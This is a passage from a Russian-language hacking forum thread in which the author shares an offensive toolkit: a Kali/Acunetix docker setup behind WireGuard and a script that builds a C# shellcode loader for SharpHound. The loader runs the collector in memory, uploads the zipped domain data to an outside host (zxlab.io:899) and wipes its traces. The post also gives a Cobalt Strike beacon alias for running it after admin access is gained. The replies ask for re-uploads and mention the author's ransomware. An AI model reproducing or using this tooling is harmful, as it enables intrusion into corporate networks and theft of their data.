C-подобный:version: "3.7" services: wireguard: image: jordanpotter/wireguard container_name: wireguard restart: unless-stopped networks: - backbone volumes: - '/etc/wireguard/socks/wg.conf:/etc/wireguard/mullvad.conf' - '/lib/modules:/lib/modules' cap_add: - NET_ADMIN - SYS_MODULE sysctls: - net.ipv4.conf.all.src_valid_mark=1 - net.ipv4.ip_forward=1 suos: depends_on: - wireguard image: kali_suos container_name: suos restart: unless-stopped network_mode: service:wireguard cap_add: - NET_ADMIN volumes: - '/opt/kali_suos/root:/root' - '/var/run/docker.sock:/var/run/docker.sock' command: bash /entrypoint.sh environment: - HOSTNAME=$HOSTNAME acun: depends_on: - wireguard image: 0x4k/acunetix container_name: acun restart: unless-stopped network_mode: service:wireguard command: bash /start.sh networks: backbone: driver: bridge
А так же файл up.sh
Bash:#!/bin/bash cd /localhost ; docker commit suos kali_suos export HOSTNAME="$(hostname)" ; docker-compose down --remove-orphans docker-compose up -d --force-recreate --remove-orphans
Как несложно догадаться - компот - acunetix. Файл up.sh сохранит контейнер в его нынешнем состоянии и пересоздаст заново остальноые (пересоздаст контейнеры - не значит перестроит, имейте ввиду))))
Компот - клиент, для работы с графической оболочкой и приятными бонусами, в виде мультиплатформенности и значка-запуска в трее. Это electron-приложение, которое так же придаст слой "лука" нашей с Вами безопасности, да и к тому же жутко удобное в использовании. Компилируется на хосте командой makeclients, после чего выдает вам ссылку но загрузку версий под Windows и Linux. Да и вообще, я постарался сделать установщик максимально простым и информативным... Понравилось, только честно?)
Прочитать на белом фоне (а самые внимательные уже давно прочитали и установили, ведь все это "висело" у меня в подписи) можно по адресу: https://x4k.tools XD
Обновление: 29 июля
Итак, как я и обещал - годная статья - выкладываю патч XD. Давайте на эту же тему) Итак:
V2.1 - BloodHound
БладХаунд - легендарная собака, многие хотели, но не смогли.
Если сказать проще - позволяет без боли, унижений, а главное кучи потраченного времени на ковыряние сети получить "Главный Приз". Итак, основная его действующая часть, которая инициализируется до запуска клиента кс.
Bash:#!/bin/bash rndname="$(curl -s https://gitlab.com/x4k/pub/-/raw/master/names.txt | shuf -n1)" rm -r /opt/cobaltstrike/custom/sweet/output &> /dev/null ; mkdir /opt/cobaltstrike/custom/sweet/output wget -qO /tmp/SharpHound.exe https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe donut -a2 -z2 -i/tmp/SharpHound.exe -p"--NoSaveCache --ZipFilename report --CollectionMethod All" -o /tmp/loader.bin XBYTES="$(xxd -i /tmp/loader.bin | tail -n1 | cut -d'=' -f2 | head -c-2 | sed 's+ ++g')" cat<<EOF>/opt/cobaltstrike/custom/sweet/output/$rndname.cs using System; using System.IO; using System.Linq; using System.Diagnostics; using System.Threading; using System.Runtime.InteropServices; namespace ShellcodeLoader { class Program { static void Main(string[] args) { byte[] x64shellcode = new byte[$XBYTES] { EOF xxd -i /tmp/loader.bin | tail -n+2 | head -n-1 >> /opt/cobaltstrike/custom/sweet/output/$rndname.cs cat<<'EOF'>>/opt/cobaltstrike/custom/sweet/output/$rndname.cs IntPtr funcAddr = VirtualAlloc( IntPtr.Zero, (ulong)x64shellcode.Length, (uint)StateEnum.MEM_COMMIT, (uint)Protection.PAGE_EXECUTE_READWRITE); Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length); IntPtr hThread = IntPtr.Zero; uint threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); for (int i = 1; i <= 5; i++) { Console.WriteLine("Thread paused for {0} second", 5); Thread.Sleep(1000); Console.WriteLine("i value: {0}", i); } string tpath = @"C:\ProgramData\mydata" ; var directory = new DirectoryInfo(tpath); string endfile = @"C:\ProgramData\mydata\report.zip"; var myFile = (from f in directory.GetFiles("*.zip") orderby f.LastWriteTime descending select f).First(); string mile = "" + myFile; File.Move(mile, endfile); System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream"); string ServerIp = @"http://zxlab.io:899/upload?token=f9403fc5f537b4ab332a"; if (File.Exists(endfile)) { var result = Client.UploadFile(ServerIp, "POST", endfile); Console.WriteLine("Upload complete! Enjoy XD"); File.Delete(endfile); } else { Console.WriteLine("ERROR! CANNOT DETERMINE USERS DOMAIN OR CANNOT CONECT TO LDAP!"); return; } Process abominable = new Process(); abominable.StartInfo.FileName = "cmd.exe"; abominable.StartInfo.Arguments = @"/c timeout 10 && rd /q /s C:\ProgramData\mydata"; abominable.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; abominable.Start(); return; } [DllImport("kernel32.dll")] private static extern IntPtr VirtualAlloc( IntPtr lpStartAddr, ulong size, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] private static extern IntPtr CreateThread( uint lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, ref uint lpThreadId); [DllImport("kernel32.dll")] private static extern uint WaitForSingleObject( IntPtr hHandle, uint dwMilliseconds); public enum StateEnum { MEM_COMMIT = 0x1000, MEM_RESERVE = 0x2000, MEM_FREE = 0x10000 } public enum Protection { PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, } } } EOF sed -i "s+zxlab.io+$HOSTNAME+g" /opt/cobaltstrike/custom/sweet/output/$rndname.cs mcs -platform:x64 -t:winexe /opt/cobaltstrike/custom/sweet/output/$rndname.cs -out:/opt/cobaltstrike/custom/sweet/output/$rndname.exe cp /opt/cobaltstrike/custom/sweet/sweet.bak /opt/cobaltstrike/custom/sweet/sweet.cna ; sed -i "s+Bloodhound+$rndname+g" /opt/cobaltstrike/custom/sweet/sweet.cna
И простейший алиас запуска в терминале бикона:
Java:alias easyblood { brm($1, "C:\\ProgramData\\mydata"); bmkdir($1, "C:\\ProgramData\\mydata"); bcd($1, "C:\\ProgramData\\mydata"); bexecute_assembly($1, "custom/sweet/output/Bloodhound.exe"); }
/usr/local/bin/cobalstrike был изменен таким образом:
Bash:#!/bin/bash export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/ sudo /opt/cobaltstrike/custom/sweet/makeblood.sh && sleep 2 | zenity --window-icon="/usr/share/icons/Papirus/128x128/apps/clamav.svg" --progress --auto-kill \ --auto-close --text='D0nt w0rry. Do b4d th1ngs..' --pulsate --title="_unkn0wn:::CobaltStrike" --no-cancel --width="300" cd /opt/cobaltstrike xhost + ./start.sh
Теперь, все, что Вам необходимо сделать: получить АдминАккаунт и выполнить в консоли биконаeasyblood. Имейте ввиду, что собака работает только в контексте домена
Помимо >@ изменению подверглись многие аспекты "скрипта", увидеть полный и подробный список которых Вы можете в последнем коммите. XD
Очень хочется отметить, что все это протестировано, опробовано и заснято на видео, которое я покажу немного позже ;-) Конкурс (и мой тоже) продолжается ;-)
https://github.com/l4ckyguy/ukn0w/commit/0823f51d01790ef53aa9406f99b6a75dfff7f146?branch=0823f51d01790ef53aa9406f99b6a75dfff7f146&diff=unified
![]()
не могли бы вы сделать репост. anonfiles выдает ошибку 503ukn0w-main.zip - AnonFiles
anonfiles.com
Только он через один сокс без ротации может работать и proxychains у меня не получилось завести с нимNuclei очень классный софт, как и почти весь софт projectdiscovery, очень советую.
Напиши на почту, которую он в своей кастомной теме указал)Есть у кого-нибудь контакты x4k?
Или указанного тут @IIOI_phoenix?
перезалей если не трудноukn0w-main.zip - AnonFiles
anonfiles.com
Ого, скинь ссылку, никогда не поверю, что Ваньку Топора сдеанонели, пока не увижу, он элито же был тут до тех пор, когда его за кидок негрилки забанели.вы не читали дианон автора?)) у него хард айпи для бэкдора привязан был в его локере HelloXD
А в самом этом вот скрипте с конкурса не вкурсе все чисто ?вы не читали дианон автора?)) у него хард айпи для бэкдора привязан был в его локере HelloXD
Он наверное эту статью и понял под "деаноном", но ты ее 99% сам читал: https://unit42.paloaltonetworks.com/helloxd-ransomware/Ого, скинь ссылку, никогда не поверю, что Ваньку Топора сдеанонели, пока не увижу, он элито же был тут до тех пор, когда его за кидок негрилки забанели.
Не, я не читал до этого, спасибо! Но особо ничего интересного в статье нет, кроме некоторых отсылок к бабуку.но ты ее 99% сам читал
перезалей если не трудно
dropmefiles.com